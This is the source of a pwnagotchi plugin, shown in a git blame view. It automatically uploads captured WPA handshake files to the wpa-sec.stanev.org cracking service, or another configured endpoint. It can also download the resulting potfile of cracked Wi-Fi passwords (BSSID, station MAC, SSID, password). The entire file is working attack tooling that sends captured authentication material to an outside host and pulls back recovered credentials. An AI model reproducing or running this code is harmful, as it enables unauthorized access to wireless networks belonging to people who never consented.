Files
pwnagotchi/pwnagotchi/plugins/default/wpa-sec.py

135 lines
5.6 KiB
Python
Raw Normal View History

2019-10-03 22:51:26 +02:00
import os
import logging
2019-10-04 09:11:32 +02:00
import requests
2019-11-25 20:51:25 +01:00
from datetime import datetime
2019-12-07 09:30:05 +01:00
from threading import Lock
2020-04-03 19:01:40 +02:00
from pwnagotchi.utils import StatusFile, remove_whitelisted
2019-11-25 20:51:25 +01:00
from pwnagotchi import plugins
from json.decoder import JSONDecodeError
2019-10-03 22:51:26 +02:00
2019-10-03 23:49:58 +02:00
class WpaSec(plugins.Plugin):
__author__ = '33197631+dadav@users.noreply.github.com'
2019-11-25 20:51:25 +01:00
__version__ = '2.1.0'
__license__ = 'GPL3'
__description__ = 'This plugin automatically uploads handshakes to https://wpa-sec.stanev.org'
2019-10-03 22:51:26 +02:00
def __init__(self):
self.ready = False
2019-12-07 09:30:05 +01:00
self.lock = Lock()
2019-11-25 20:51:25 +01:00
try:
self.report = StatusFile('/root/.wpa_sec_uploads', data_format='json')
2020-04-03 19:01:40 +02:00
except JSONDecodeError:
2019-11-25 20:51:25 +01:00
os.remove("/root/.wpa_sec_uploads")
self.report = StatusFile('/root/.wpa_sec_uploads', data_format='json')
self.options = dict()
self.skip = list()
2019-10-03 22:51:26 +02:00
def _upload_to_wpasec(self, path, timeout=30):
"""
Uploads the file to https://wpa-sec.stanev.org, or another endpoint.
"""
with open(path, 'rb') as file_to_upload:
cookie = {'key': self.options['api_key']}
payload = {'file': file_to_upload}
2019-10-03 22:51:26 +02:00
try:
result = requests.post(self.options['api_url'],
cookies=cookie,
files=payload,
timeout=timeout)
if ' already submitted' in result.text:
logging.warning("%s was already submitted.", path)
except requests.exceptions.RequestException as req_e:
raise req_e
2019-10-03 22:51:26 +02:00
2019-11-25 20:51:25 +01:00
def _download_from_wpasec(self, output, timeout=30):
"""
Downloads the results from wpasec and safes them to output
Output-Format: bssid, station_mac, ssid, password
"""
api_url = self.options['api_url']
if not api_url.endswith('/'):
api_url = f"{api_url}/"
api_url = f"{api_url}?api&dl=1"
cookie = {'key': self.options['api_key']}
try:
result = requests.get(api_url, cookies=cookie, timeout=timeout)
with open(output, 'wb') as output_file:
output_file.write(result.content)
except requests.exceptions.RequestException as req_e:
raise req_e
except OSError as os_e:
raise os_e
def on_loaded(self):
"""
Gets called when the plugin gets loaded
"""
2019-12-18 18:58:28 +01:00
if 'api_key' not in self.options or ('api_key' in self.options and not self.options['api_key']):
logging.error("WPA_SEC: API-KEY isn't set. Can't upload to wpa-sec.stanev.org")
return
2019-10-04 09:11:32 +02:00
2019-12-18 18:58:28 +01:00
if 'api_url' not in self.options or ('api_url' in self.options and not self.options['api_url']):
logging.error("WPA_SEC: API-URL isn't set. Can't upload, no endpoint configured.")
return
2019-10-03 22:51:26 +02:00
2020-04-03 19:01:40 +02:00
if 'whitelist' not in self.options:
self.options['whitelist'] = list()
self.ready = True
2019-10-03 23:49:58 +02:00
def on_internet_available(self, agent):
"""
Called in manual mode when there's internet connectivity
"""
2020-04-03 19:01:40 +02:00
if not self.ready or self.lock.locked():
return
2019-11-25 20:51:25 +01:00
2020-04-03 19:01:40 +02:00
with self.lock:
config = agent.config()
display = agent.view()
reported = self.report.data_field_or('reported', default=list())
handshake_dir = config['bettercap']['handshakes']
handshake_filenames = os.listdir(handshake_dir)
handshake_paths = [os.path.join(handshake_dir, filename) for filename in handshake_filenames if
filename.endswith('.pcap')]
handshake_paths = remove_whitelisted(handshake_paths, self.options['whitelist'])
handshake_new = set(handshake_paths) - set(reported) - set(self.skip)
if handshake_new:
logging.info("WPA_SEC: Internet connectivity detected. Uploading new handshakes to wpa-sec.stanev.org")
for idx, handshake in enumerate(handshake_new):
display.set('status', f"Uploading handshake to wpa-sec.stanev.org ({idx + 1}/{len(handshake_new)})")
display.update(force=True)
try:
2020-04-03 19:01:40 +02:00
self._upload_to_wpasec(handshake)
reported.append(handshake)
self.report.update(data={'reported': reported})
logging.info("WPA_SEC: Successfully uploaded %s", handshake)
except requests.exceptions.RequestException as req_e:
2020-04-03 19:01:40 +02:00
self.skip.append(handshake)
logging.error("WPA_SEC: %s", req_e)
continue
except OSError as os_e:
2020-04-03 19:01:40 +02:00
logging.error("WPA_SEC: %s", os_e)
continue
if 'download_results' in self.options and self.options['download_results']:
cracked_file = os.path.join(handshake_dir, 'wpa-sec.cracked.potfile')
if os.path.exists(cracked_file):
last_check = datetime.fromtimestamp(os.path.getmtime(cracked_file))
if last_check is not None and ((datetime.now() - last_check).seconds / (60 * 60)) < 1:
return
try:
self._download_from_wpasec(os.path.join(handshake_dir, 'wpa-sec.cracked.potfile'))
logging.info("WPA_SEC: Downloaded cracked passwords.")
except requests.exceptions.RequestException as req_e:
logging.debug("WPA_SEC: %s", req_e)
except OSError as os_e:
logging.debug("WPA_SEC: %s", os_e)